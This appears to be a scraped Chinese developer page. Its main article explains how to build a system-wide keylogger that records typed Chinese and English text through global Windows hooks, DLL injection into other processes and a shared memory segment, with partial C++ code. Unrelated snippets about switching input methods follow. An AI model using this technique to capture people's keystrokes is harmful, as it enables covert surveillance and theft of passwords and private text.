精华内容
下载资源
问答
  • 如何捕捉键盘中英文输入

    千次阅读 2017-10-10 17:23:20
    最近完成一个项目,...本文说明如何实现中英文的输入捕捉。    一、实现思路  通过Windows钩子,截获每个应用程序的输入消息,获取输入内容。英文输入捕捉WM_CHAR消息,中文输入则铺捉WM_IME_ENDCOMPOSITIO...

          最近在完成一个项目,需要捕捉用户的输入,传统的Keylogger网上资料较多,但捕捉的是按键输入,对于大量的中文输入,单纯键盘按键输入没有什么意义。本文说明如何实现中英文的输入捕捉。

     

      一、实现思路

                通过Windows钩子,截获每个应用程序的输入消息,获取输入内容。英文输入捕捉WM_CHAR消息,中文输入则铺捉WM_IME_ENDCOMPOSITION消息,再通过函数ImmGetCompositionStringW获取输入的内容。有了这个两个消息,就可以实现中英文输入的捕捉了。虽然思路很简单,但涉及到不少windows操作系统的概念,有不少坑。

     

    二、实现中碰到的坑

    (1)关于Windows hook,它不是执行在调用者的进程中,而是捕捉目标的进程中。

           windows hook是一个比较神奇的机制,设置windows hook看起来很简单:

     

    HHOOK WINAPI SetWindowsHookEx(
      _In_ int       idHook,
      _In_ HOOKPROC  lpfn,
      _In_ HINSTANCE hMod,
      _In_ DWORD     dwThreadId
    );

     

    设置一个回调函数,系统自动通过回调将捕捉到的windwos 消息传递给回调函数。

     

    这里有一个大坑:按照我们以往使用回调函数的理解,回调会直接在调用进程中执行,但是windows hook不是,它的含义是把回调函数所在的dll注入到各个进程中,在各个进程中调用这个函数。如:捕捉word的中英输入时,该回调函数在word的进程中执行。而不是你的捕捉程序所在的进程中执行。因此调试主程序时,看不到回调被执行。需要调试word进程,才能看到回调函数被执行。

     

    (2)如何做进程之间通信:dll共享段

          既然回调函数在不同的进程中执行,那捕捉的内容怎么收集? 所以要做进程间通信,把捕捉的信息都发送到主应用程序。进程通信主要有Socket,管道,windows消息,文件映射等等。这个dl必须是Native的(原因后面解释)用C++做,实现这些对我来说太复杂。但天无绝人之路,windows dll有个神奇的机制,可以在各个进程之间共享内存,叫共享数据段(data_seg),在这个段中的变量在各个进程中都可以访问。类似以下这种方式:

     

         //这个段里的变量都必须初始化,而且编译后直接占用dll的文件空间。
          #pragma data_seg("Shared")

          int  _inputBufferCount=0;
          WCHAR _inputBuffer[2]={0,0}    //根据实际需要分配大小

         #pragma data_seg()
         //RWS表示这个段可以读,写,共享。
         #pragma comment(linker,"/section:Shared,rws")

     

    有了这个机制以后,回调函数把结果都放到这个共享段中,而主程序只要定时从该共享变量中读取捕捉信息即可。

     

    (3)DotNet怎么调用系统钩子

          这个项目是用DotNet实现的,原以为在DotNet调用SetWindowsHookEx即可实现,但经过测试,只有鼠标和键盘的钩子可以用DotNet实现,这两个钩子的实现机制和其他钩子不同,它不需要将dll注入到其他进程中。而其他钩子都不能将回调函数放入DotNet的dll中。原因是DotNet的函数地址是一个动态生成的地址,注入其他进程时,其他进程无法找到这个动态的地址。(估计其他进程没有建立DotNet环境,连调用都没法调用)

         所以实现的方式是:用C++做一个捕捉的DLL,捕捉的结果放在共享段中,对DotNet提供一个获取捕捉结果的函数,DotNet程序定时调用。

     

    (4)64位系统中怎么扑捉32位程序的输入

    在windows中,32位的进程只能调用32位的dll,同理64位只能调用64位的dll。windwos hook也一样,如果生成的是32位的DLL,那么该dll只能注入到32位的进程中。64位的dll无法注入到32位进程中。

    又一个大坑。在64位系统中,如何同时扑捉32位和64位的程序。想只实现一种,但发现Office系列是32位的,浏览器都是64位的,两种都很重要。

    解决办法:同时编译一个64位和32位的dll。但是我的主程序要么是64位的,要么是32位的,怎么同时调用?所以必须生成一个32位的进程,负责调用32位dll,生成一个64位进程,负责调用64位dll.这两个进程通过网络接口供主程序访问,快疯了。(实际上我实现的时候,再主程序中判断本进程是32位还是64位,再另外启动一个不同位数的进程负责调用dll)

     

    (5)windows hook 只能监视调用进程所在的那个用户的进程。

          SetWindowsHookEx只能将dll注入到调用者所在用户(Session)的进程。啥意思,如果一个windows中有两个登录用户,你在A用户启动了钩子,那么只能铺捉到A用户上打开的程序,切换到B用户后(A用户保持登录状态),B用户的任何程序的消息都不会被铺捉。所以监视程序不能放在windows 服务中,windwos 服务用的是单独的用户。进过测试,也不能放在.net remoting的调用中(估计用的也不是当前用户)。

     

    三、实现代码

     (1)设置共享段

     

     #pragma data_seg("Shared")

    //共享数据端,用于保存各个注入进程中捕捉的输入数据

    //输入中字符的个数(不是字节数)
    int  _inputBufferCount=0;
    //监视输入得到的结果,采用UNICODE-16编码,每个字符两个字节
    //这里数组有多大,就要初始化多大,我的实现开了2000个字符,满屏幕//的0,不要偷懒,多大的数组,就初始化多少,否则共享会失效。
    WCHAR _inputBuffer[10]={0,0,0,0,0,0,0,0,0,0}

    #pragma data_seg()
    #pragma comment(linker,"/section:Shared,rws")
     

    (2)设置wiindows 钩子

    //开始钩子,如果该进程内已经启动钩子,那么直接返回TRUE
    //如果有多个进程调用了该钩子,那么返回值会有多份相同的。调用进程需要保证调用的唯一性。

     

    BOOL __stdcall StartHook()
    {
    //已经开始Hook了,不用重新调用,调用多次,一个消息就会回调多次
    if(hkKey!=NULL)
          return TRUE;
    InitShareData();
    hkKey = SetWindowsHookEx(WH_GETMESSAGE,procCharMsg,hInstHookDll,0);
    return hkKey!=NULL;
    }

     

     

    (3)获取中文输入

    if(msg->message==WM_IME_ENDCOMPOSITION) //we handle only WM_CHAR messages
    {
    //从输入法中获取字符串,如果不是ansi字符,那么放入输入区,如果是ansi字符,则丢弃,在WM_CHAR中获取.
    HIMC hIMC=ImmGetContext(msg->hwnd);//获取HIMC
    if (hIMC==NULL)

            return;
    }


    //读取中文输入法,读取的数据为unicode-16编码数据
    WCHAR  buffer[2000];
    LONG size=ImmGetCompositionStringW(hIMC,GCS_RESULTSTR,buffer,sizeof(buffer));
      //数据放到共享段中
      AppendInput(buffer,size);
      ImmReleaseContext(msg->hwnd,hIMC);
    }

    (4)获取英文输入

    if(msg->message==WM_CHAR)//we handle only WM_CHAR messages

    {

                //只读取ansii码,不读取中文

    WCHAR charCode=(WCHAR)msg->wParam;

    if(!IsVisibleAnsiChar(charCode))

    return;

     

    //如果有控制字符的也不需要,如"Control,alt键等"

    SHORT  controlState=GetKeyState(VK_CONTROL);

    if((controlState&0xff00)!=0)

    return;

     

     

    SHORT  altState=GetKeyState(VK_MENU);

    if((altState&0xff00)!=0)

    return;

     

     //放到缓存区

    AppendInputByChar(charCode);

     

    }

     

    四、结论

          通过windows hook的方式可以铺捉到中英文输入,但是不同应用程序和不同输入法组合,产生的windwos 事件不同,有的中文输入会同时产生WM_IME_ENDCOMPOSITION和WM_CHAR,有的只有WM_IME_ENDCOMPOSITION,有的这两个事件都没有(微软的输入法)。但大部分情况下,通过WM_IME_ENDCOMPOSITION铺捉中文(如果纯英文则丢弃),通过WM_CHAR铺捉英文(如果有中文则丢弃),能够很好的应对各种输入法和程序组合。如果有更好的实现方法,请告知,要源代码的:Cougars@yeah.net,很急的话,qq:747754571。以下是针对不同程序和输入法的一个测试结果:

     

     

     

    应用程序输入法中文输入英文输入输入法下的英文输入
    Visual StudiaosougouWM_IME_ENDCOMPOSITION
    +WM_CHAR消息
    WM_CHAR消息WM_IME_ENDCOMPOSITION
    +WM_CHAR消息
    qqWM_IME_ENDCOMPOSITION
    +WM_CHAR消息
    WM_CHAR消息WM_IME_ENDCOMPOSITION
    +WM_CHAR消息
    微软WM_IME_ENDCOMPOSITION
    +WM_CHAR消息
    WM_CHAR消息WM_IME_ENDCOMPOSITION
    +WM_CHAR消息
    windows wordsougouWM_IME_ENDCOMPOSITIONWM_CHAR消息WM_IME_ENDCOMPOSITION
    QQ输入法WM_IME_ENDCOMPOSITIONWM_CHAR消息WM_IME_ENDCOMPOSITION
    微软只有kedown消息和Notify消息WM_CHAR消息只有kedown消息
    IEsougouWM_IME_ENDCOMPOSITIONWM_CHAR消息WM_IME_ENDCOMPOSITION
    微软只有kedown消息和Notify消息WM_CHAR消息只有kedown消息和Notify消息
    QQ WM_IME_ENDCOMPOSITION,
    结束时有个WM_CHAR的空格
    WM_CHAR消息WM_IME_ENDCOMPOSITION,
    结束时有个WM_CHAR的空格
    EXCELQQWM_IME_ENDCOMPOSITION
    +WM_CHAR消息
    WM_CHAR消息WM_IME_ENDCOMPOSITION
    +WM_CHAR消息
    sougouWM_IME_ENDCOMPOSITION
    +WM_CHAR消息
    WM_CHAR消息WM_IME_ENDCOMPOSITION
    +WM_CHAR消息
    微软WM_IME_ENDCOMPOSITIONWM_CHAR消息WM_IME_ENDCOMPOSITION
    普通.net程序QQWM_IME_ENDCOMPOSITION
    +WM_CHAR消息
    WM_CHAR消息WM_IME_ENDCOMPOSITION
    +WM_CHAR消息
    sougouWM_IME_ENDCOMPOSITION
    +WM_CHAR消息
    WM_CHAR消息WM_IME_ENDCOMPOSITION
    +WM_CHAR消息
    微软WM_IME_ENDCOMPOSITION
    +WM_CHAR消息
    WM_CHAR消息WM_IME_ENDCOMPOSITION
    +WM_CHAR消息

     

             

    展开全文
  • 安装好英文版的centos7之后,想Linux中用火狐Firefox浏览器查东西,但是发现不能输入中文。 上网查,发现好多方法,设置这个设置...然后使用super+space(就是windows窗口+空格)就可以实现中英文切换了。 ...

    安装好英文版的centos7之后,想在Linux中用火狐Firefox浏览器查东西,但是发现不能输入中文。

    上网查,发现好多方法,设置这个设置那个的。

    最后发现,centos7自带中文输入法。

    在系统工具----设置------区域和语言-------------按“+”号 Add 智能拼音

    然后使用super+space键(就是windows窗口+空格键)就可以实现中英文切换了。

    在这里插入图片描述
    在这里插入图片描述在这里插入图片描述

    展开全文
  • WINDOWS下输入法中英文切换

    千次阅读 2012-03-12 20:59:52
    这几天做一个注册页面,其中有一个真实姓名字段要求必须输入中文,于是想能不能该真实姓名编辑框得到焦点的时候就将输入法切换为中文输入法呢? 于是就开始寻找前辈们的成功案例,果然功夫不费有新人,虽然费了...
        
    

    这几天在做一个注册页面,其中有一个真实姓名字段要求必须输入中文,于是想能不能在该真实姓名编辑框得到焦点的时候就将输入法切换为中文输入法呢?

    于是就开始寻找前辈们的成功案例,果然功夫不费有新人,虽然费了很长时间。

      开始是不知道如何着手,接下来找到了一个遍历系统安装输入法的C++类,并且可以设置激活任何一种已经安装的C++类,因此这就简单了,但是需要判断我们激活的

    输入法是不是中文输入法。下面是网上对控制输入法的一个描述:(链接地址: http://lauwd.blog.163.com/blog/static/7605696920092202496313/)

    要想控制输入法,首先要解决的问题是如果获得系统已安装的输入法信息。在视窗系统平台下,每个安装的输入法都在注册表中注册了相关信息。在“HKEY_CURRENT_USER\keyboard layout\preload”键下就能找到这些信息,键下由以1为基的递增数字做为值名(暂取名为数字号),其值的内容是个由八个数字组成的字符串(暂取名为代号,如"e0040804"),其中左4位是设备代码(device identifier),右4位是语言代码(language identifier)。例如上面:左e004指智能ABC,右0804指大陆中文。在MSDN中对所有代码做了周详的说明,如感兴趣请浏览MSDN相关内容。另外要说明一点的是在视窗系统98版本中输入法注册信息和上面说明略有不同,他是将已安装的输入法的数字号做为…\Preload下面的子键,而视窗系统2000将数字号做为…\Preload键下的值。

    根据上面文章中的类我整理出来后上传到http://download.csdn.net/detail/fengbangyue/4134857处,但是后来我在使用过程中发现即便切换到中文了,但是如果以前切换的时候中文是出于英文状态的,那么用户也需要在一次从英文状态切换回中文输入状态。于是想可以再程序中判断当前输入法是英文状态吗,可以的话就把他切换到中文啊。在一次发现了这个方法,

    详细描述在这里有完整的代码例子:http://blog.csdn.net/gxj1680/article/details/5270352

    在这里摘抄几个函数:

    	HIMC   hIMC;   
    	DWORD   dwConv,   dwSent;   
    	hIMC=ImmGetContext(m_hWnd);   
    	ImmGetConversionStatus(hIMC,&dwConv,&dwSent);  
    	if((dwConv   &   IME_CMODE_LANGUAGE)   !=   IME_CMODE_NATIVE)   
    	{   
    		dwConv   &=   ~IME_CMODE_LANGUAGE;   
    		dwConv   |=   IME_CMODE_NATIVE;           //中文输入状态   
    	}
    	//标注1
    	if   (!(dwConv   &   IME_CMODE_FULLSHAPE))     dwConv   |=   IME_CMODE_FULLSHAPE;     //全角   
    	if   (!(dwConv   &   IME_CMODE_SYMBOL))           dwConv   |=   IME_CMODE_SYMBOL;           //中文标点 
    
    	//标注2
    	//若要切换输入法为半角,只需把上面的标注1判断改为如下即可(自己用到时有此要求,所以在原作者继承上自己改了下)
       /*
    	if (dwConv & IME_CMODE_FULLSHAPE)
    		dwConv &= ~IME_CMODE_FULLSHAPE;
    	if (dwConv & IME_CMODE_SYMBOL)
    		dwConv &= ~IME_CMODE_SYMBOL;
    		*/
    	ImmSetConversionStatus(hIMC,dwConv,dwSent);   //对输入法状态进行设置
    	ImmReleaseContext(m_hWnd,hIMC);   //释放上下文资源
    //另外
    判断当前输入法是否打开(即是否非美式键盘的英文状态)
    HKL	 hKL = GetKeyboardLayout(0);
    BOOL	bIme = ::ImmIsIME(hKL);
    打开和禁止输入法
    ImmAssociateContext(hWnd, hIMC); //hIMC是已保存的HIMC
    
    hIMC = ImmAssociateContext(hWnd, NULL);
    


    另外是前面朋友使用的经验:
    同样对于日文输入法而言,可以通过上面的方法进行全半角切换,不过还有个前提:上面的方法需要打开IME才行,因为在“直接入力”(Direct Input)状态上面的方法不能切换全半角等状态,如果需要由“直接入力”(Direct Input)切换到其他如"ひらがな"等状态,需要通过::ImmSetOpenStatus(hImc, TRUE);打开IME,同样如果想由其他状态切换到“直接入力”(Direct Input),只需::ImmSetOpenStatus(hImc, FALSE);即可
    
    其实像Windows中的密码框,不管切换何种输入法输入的都是半角英文状态,用的也是::ImmSetOpenStatus这个函数
    
    有了前面几个这些函数对输入法的操作基本上是可以了,至于还会有什么问题我也不知道,现在我也只是写了一个简单的测试代码而已。
    在切换输入法时,一般会先保存先前的输入法,也方便我们后来恢复。
    ActivateKeyboardLayout(hCurKL,KLF_SUBSTITUTE_OK);       //切换输入法  
    写到这里忽然发现下面这两个函数不知道和前面封装的类有何区别,是不是要测试一下呢?
    HKL   hKL[2];  
     HKL   hCurKL; 
     hCurKL=GetKeyboardLayout(0);       //保存初始输入法   
      GetKeyboardLayoutList(2,hKL);     //获取输入法列表,只获取两项   
    GetKeyboardLayoutList函数用于获取输入法列表,前面封装的那个类用了很大的篇幅去获取输入法表,难道那个作者没有发现这个API,那么他又使用了LoadKeyboardLayout和ActivateKeyboardLayout两个API。
    这些就先不说了,在此记录了输入法的基本切换控制,如果项目真的有这个需求的话,有这些资料实现起来也基本上没问他了。当然使用上面的API需要投文件和库
      #include   "imm.h"   
      #pragma   comment(lib,"imm32")   
    不知道需要#include <Ime.h>不。
    有时间的话,把他封装一下,毕竟还是比较使用,刚开始的时候我真没有头绪哦。
    文章很乱,头绪不清,可能第一次在公司发博客心不在焉的吧,回家了。。
    不知道为什么发表后会有HTML乱码,全改用C++代码格式吧
    
    
    展开全文
  • 按下键盘上2113的【5261Ctrl】+【Shift】可以进行4102输入1653法的中英文切换。版输入文字时,按下权【Shift】可以进行中英文切换;如果是系统语言可以【控制面板】的【区域和语言】选项中进行选择。以下是...

    按下键盘上2113的【5261Ctrl】+【Shift】键可以进行4102输入1653法的中英文切换。版输入文字时,按下权【Shift】键可以进行中英文切换;如果是系统语言可以在【控制面板】的【区域和语言】选项中进行选择。以下是详细介绍:  1、按下键盘上的【Ctrl】+【Shift】键可以进行输入法的中英文切换;  2、输入文字时,按下【Shift】键可以进行中英文切换;  3、如果您指的是系统的语言,您需要在【控制面板】,选择【区域和语言】,然后在【格式】选项卡中,在下拉选项中选择语言即可。电脑中英文切换2113方法如下5261:Ctrl+空格-----切换中4102英文输入法1653Ctrl+Shift-----切换输专入法有些输入法,按一下Shift键会关闭中文属输入状态,进入英文输入状态,再按一次会回到中文输入状态。键盘是用于操作设备运行的一种指令和数据输入装置,指经过系统安排操作一台机器或设备的一组功能键(如打字机、电脑键盘)。键盘是最常用也是最主要的输入设备,键盘可将英文字母、数字、标点符号等输入到计算机中,从而向计算机发出命令、输入数据。还有一些带有各种快捷键的键盘,市场上出现独立的具有各种快捷功能的产品单独出售,并带有专用的驱动和设定软件,在兼容机上也能实现个性化的电脑键盘中英2113文切换的5261按键:1.  键盘上的“41021653 Shift”键可以在同一输入法内切换中回英文。2.  这“Ctrl+Shift”两个键一块按,可答以切换不同的输入法之间的中英文。欢迎下载腾讯电脑管家了解更多知识,体验更多功能。用搜狗等各类拼音法的话 不用切换就可自由地“中英 ”非常简单 没有人不知道吧?方法是-----汉字状态时,按回车键就是英文字母(此时按空格键是汉字)中英文切换是shift左右均可,输入法切换就是ctrl+shift本回答被网友采纳www.how234.com防采集。

    本视频适用系统:windows7,软件版本:搜狗输入法9.8正式版;

    一般是“capslock”这个键 一,中文输入法状态下,一般 按 CAPSLOCK 键,就直接切换到 字母的大写方式。再按一下回到中文输入法。 二,英文状态下,按CAPSLOCK键一次,就直接切换到 字母的大写方式。再按一下回到小状态。 三,英文状态下,要临时

    中英文可以使用快捷键来快速切换,如果你的电脑中安装了多个输入法,那么同时按下键盘上的【shift+CTRL】键,就可以进行不同输入法之间的切换;

    要看你的系统本身是中文还是英文的系统,英文的系统中英文切换,win7是ctrl+空格键,win10是window键(CTRL旁边的四色旗键)+空格键,切换完了如果还想在多个中文输入法之间切换就得ctrl+shift或者ctrl+空格键,win8我忘了是前者还是后者。

    这里演示的是搜狗输入法,在输入状态的时候按【Shift】键,就可以看到输入法状态栏的(中)字变成了(英),再按【Shift】键,又从(英)变成了(中),这样就实现了中英文之间的相互切换了,其他输入法的中英文切换快捷键大致相同。

    这是ctrl+shift 切换键失灵 点击开始 ——设置——控制面板——区域和语言设置 切换到语言选项卡 点击右边的详细信息 选择键设置,双击第一个“在不同的输入语言之间切换”先勾寻切换输入语言”下面选择左手alt。取消右边“切换键盘布局”前的勾。 然后进入

    电脑来键盘打字时中英文如何切换自呢?下面2113就由小编5261来给大家详细介4102绍一下吧!1、首1653先,需要安装输入法,安装完毕之后按照输入法默认设置就可以;或者是您可以尝试使用键盘上的【Shift】+【Ctrl】组合键调出输入法,一般会在右下角状态栏上显示当前的输入法;2、在输入法的状态栏中可以看到当前输入法的状态,如果是中文输入法可以看到一个【英】或者【中】;如果需要输入中文就需要将【英】切换为【中】,只需要使用【Shift】键就可以进行切换,您也可以使用直接点击这个【英】或【中】进行切换;以上就是关于电脑键盘打字时中英文如何切换的相关介绍了,希望以上介绍能帮助到大家!Ctrl+ShiftCtrl的快捷键bai:Ctrl+S保存Ctrl+W关闭程序duCtrl+N新建Ctrl+O打开Ctrl+Z撤销Ctrl+F查找Ctrl+X剪切Ctrl+C复制zhiCtrl+V粘贴daoCtrl+A全选Ctrl+[缩小文字版Ctrl+]放大文字Ctrl+B粗体Ctrl+I斜体Ctrl+U下划线Ctrl+Shift输入法切权换Ctrl+空格中英文切换Ctrl+回车qq发送信息Ctrl+Home光标快移到文件头Ctrl+End光标快移到文件尾Ctrl+Esc显示开始菜单Ctrl+Shift+速放大文字Ctrl+F5在IE中强行刷新Ctrl+拖动文件复制选中文件Ctrl+Shi电脑中英文bai切换du方法如下:Ctrl+空格-----切换中英文输入法zhiCtrl+Shift-----切换输dao入法有些输入法,按一下Shift键会回关闭中文输答入状态,进入英文输入状态,再按一次会回到中文输入状态。键盘是用于操作设备运行的一种指令和数据输入装置,指经过系统安排操作一台机器或设备的一组功能键(如打字机、电脑键盘)。键盘是最常用也是最主要的输入设备,键盘可将英文字母、数字、标点符号等输入到计算机中,从而向计算机发出命令、输入数据。还有一些带有各种快捷键的键盘,市场上出现独立的具有各种快捷功能的产品单独出售,并带有专用的驱动和设定软件,在兼容机上也能实现个性化的操作。电脑键盘来中英文切换源的按键:1.  键盘上的“ Shift”键可以在同bai一输入法du内切换中英文。2.  这“Ctrl+Shift”两个zhi键一dao块按,可以切换不同的输入法之间的中英文。资料拓展:键盘:是用于操作设备运行的一种指令和数据输入装置,也指经过系统安排操作一台机器或设备的一组功能键(如打字机、电脑键盘)。键盘也是组成键盘乐器的一部分,也可以指使用键盘的乐器,如钢琴、数位钢琴或电子琴等,键盘有助于练习打字。键盘是最常用也是最主要的输入设备,通过键盘可以将英文字母、数字、标点符号等输入到计算机中,从而向计算机发出命令、输入数据等。起初这类键盘多用于品牌机,电脑62616964757a686964616fe59b9ee7ad9431333363396461上的中英文切换键为:Shift电脑键盘:电脑键盘是把文字信息的控制信息输入电脑的通道,从英文打字机的键盘演变而来的。它最早出现在电脑上的时候,还是一种叫做"电传打字机"的部件。电脑键盘清洁:第一步:拔出键盘接头关闭计算机的,然后将键盘接头(一般PS/2接口的键盘接头是紫色的)从主机上拔出。将键盘翻转一面,轻轻地拍打,以便灰尘和碎屑能够自动落下。第二步:拆卸键盘外壳在键盘背面一般都是数量比较多的固定螺丝钉。将十字螺丝刀伸入固定螺丝钉位置,逆时针旋转就可以将螺丝拧开了。再将其他的内容来自www.how234.com请勿采集。

    展开全文
  • 基于Qt5,手写模块使用微软Tablet PC SDK,支持中文拼音输入、英文输入、数字输入、常用符号输入、手写输入、实体键盘同步
  • 然后就有了文章标题的这个小问题——有一台笔记本安装win11后,无法切换系统自带的中文输入法,各种组合都失效,然后晚上找了一下,操作方式比较麻烦: 基本都是如上的解决方式,个人认为微软不至于犯这种低级...
  • 使用API检测输入法为中文输入或英文输入并进行中英文切换,解决官方文档提供的API函数部分系统失效的问题
  • 所以这里找到一个折中的方法,打开“文本服务和输入语言”,切换到“高级设置” 首先,先切换键盘布局,如下图: [img]...
  • 方便操作者录入中英文时快速进标点的切换,使用更方便一些
  • C# 切换中英文输入法

    千次阅读 2019-01-21 14:54:00
    不自定义正则表达式或者其它输入处理的情况下,切换中英文时与当前语言栏匹配,有以下的几种系统方案: InputLanguage方案 使用System.Windows.Forms.InputLanguage,判断/设置当前输入法状态 1 /// <...
  • 原来的设置,从中文切换英文或者从英文切换为中文(跨语言)时,总要使用不同的快捷键。这个教程,我们将使用control+shift来完成所有输入法的切换(无论是否跨语言)。 首先键盘设置Typing,将...
  • C# 切换中英文

    千次阅读 2020-04-24 10:28:24
    //InputLanguageCollection ilc = InputLanguage.InstalledInputLanguages;//获取所有安装的输入法 //InputLanguage il = InputLanguage.CurrentInputLanguage;...首先查找输入法所有的输入方式,如果...
  • Windows10恢复任务栏的“/英”切换图标

    千次阅读 多人点赞 2020-03-10 15:46:12
    点击语言栏右侧的最小化,这个语言栏倒是消失了,但是/英切换标志还是没有显示,并且任务栏左侧出现了一个拼的图标。 解决方案 原因1:可能是任务栏设置中将输入指示系统图标关闭了或者不可用。 步骤: 右键...
  • shift是一个经常使用的编程时难免误触导致中英文切换实在是很烦。Win10下其余切换键位的方法要么得一次按两个(如ctrl+shift),要么牺牲了很重要的重音符(写Markdown不能不用这个)。 而capslock这...
  • 有用过Qt虚拟键盘的同志都知道,Qt的虚拟键盘确实很强大,特别是Qt5自带的的虚拟键盘,支持多国语言输入,拼音自然不在话下,而且采用界面是采用qml来做的,美观、大方,但是也存在很多鸡肋的地方(商业版的Qt可能不...
  • 智能ABC输入法的中文输入状态下输入英文 很多时候需要中文输入状态下输入很少的英文,使用Ctrl+Space切换中英文输入状态就显得有点麻烦了。智能ABC输入法的中文输入状态下输入英文只需要输入英文前加一个...
  • 有时会弹出已重置应用默认设置,导致输入法切换时,只能看到输入法切换了,中英文没有切换,只能输入英文, 打不出中文! 解决办法: win+r打开运行输入ctfmon确定。输入法就回来了!
  • 文章目录方法具体下载安装插件下载宏修改宏应用宏 方法 #mermaid-svg-1g2mRBP5AiBq1wF6 .label{font-family:'trebuchet ms', verdana, arial;font-family:var(--mermaid-font-family);fill:#333;...
  • Win10默认输入法切换中英文标点

    千次阅读 2020-05-13 23:55:09
    Win10写代码注释时想要默认的五笔输入法下使用英文标点,如果使用Shift键切换标点比较多的情况下实在是太过麻烦。有人说为什么不换用其它的输入法,这一点是因为我觉得Win10自家输入法挺好用的,而且没有...
  • Win10使用——个人经验 Win10默认输入法中英文标点切换 快捷键【Ctrl+.】Ctrl+句点
  • 恢复ctrl+space来切换中英文输入法

    千次阅读 2009-02-27 15:23:00
    什么叫“不同的输入语言之间切换” VS “中文(简体)输入法--输入法/非输入法切换”这两位都是WIN XP 输入法快捷键里边的名词,默认情况下前者的快捷键是ctrl+shift,顾名思义:就是所有各种输入法之间切换...
  • Android studio一个很有用的快捷键Ctrl+space可以调出自动补全功能,但是与win10的中英文输入法切换冲突,各种设置后都会在下一次使用时被自动恢复成默认状态。 最后被以下链接解决了问题,根本方法就是设置...
  • Windows 10 的中文用户名改成英文

    千次阅读 2020-04-07 08:45:22
    首先如果是使用中文用户名...先以管理员模式启动命令提示符(Win+X组合后就能看到),输入 net user administrator /active:yes 然后我们注销当前用户,使用Administrator登录(更稳妥的方式是进入安全模式后用Adm...
  • Windows 10的中文用户名怎么改成英文

    千次阅读 多人点赞 2019-10-19 23:18:32
    鉴于肯定会有很多小伙伴为了“个性”(或者是懒得想英文名称),出现安装过程直接填写中文的情况,小编就成文统一解答吧! 先说说安装过程的事情(很快就会有一波重装系统高峰,提前预警下),未联网的情况下...
  • 如何修改 winods10 Ctrl+space切换中英文

    千次阅读 2018-08-11 10:50:46
    已经有的三个主键分别对应了“开关输入法”、“全半角切换”和“中英文标点切换”;右边的三个是: Key Modifiers(修改)  第一位是Ctrl,Alt,Shift三个,C为02,A为01,S为04,要组合的话直接相加;  第二位...
  • 2.打开的“运行”窗口中输入“ctfmon.exe”并按回车来重启输入法状态栏。 3.修改注册表,将ctfmon.exe加入开机启动。 方法是,运行里输入regedit,然后依次点击HKEY_LOCAL_MACHINE\SO...
  • [linux]windows通过VNC连接到ubuntu后输入没有显示 问题: 在windows下通过VNC 连接到 ...windows切换输入法到英文。 背景: 帮一位新人配置ubuntu的build环境,该新人将默认输入法设置为搜狗中文输入
  • 这个问题折磨我两天了 一般的什么语言栏的勾选 什么命令行窗口运行ctfmon 如果有用最好 我说我的问题 输入法的图标消失 只能输入英文 而且切换不出来 重启也不行 网上的方法 我试了一遍 基本对我的没用 我就说我最后...
  • win10系统无法相互切换中英文输入法怎么办?很多使用win10系统的用户都会遇到输入法无法切换的问题,有时候必须重启才可以正常的切换。那么是什么原因导致的输入法经常无法正常的切换呢?下面小编就详细的为大家介绍...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 30,656
精华内容 12,262
关键字:

在windows7中中英文输入切换键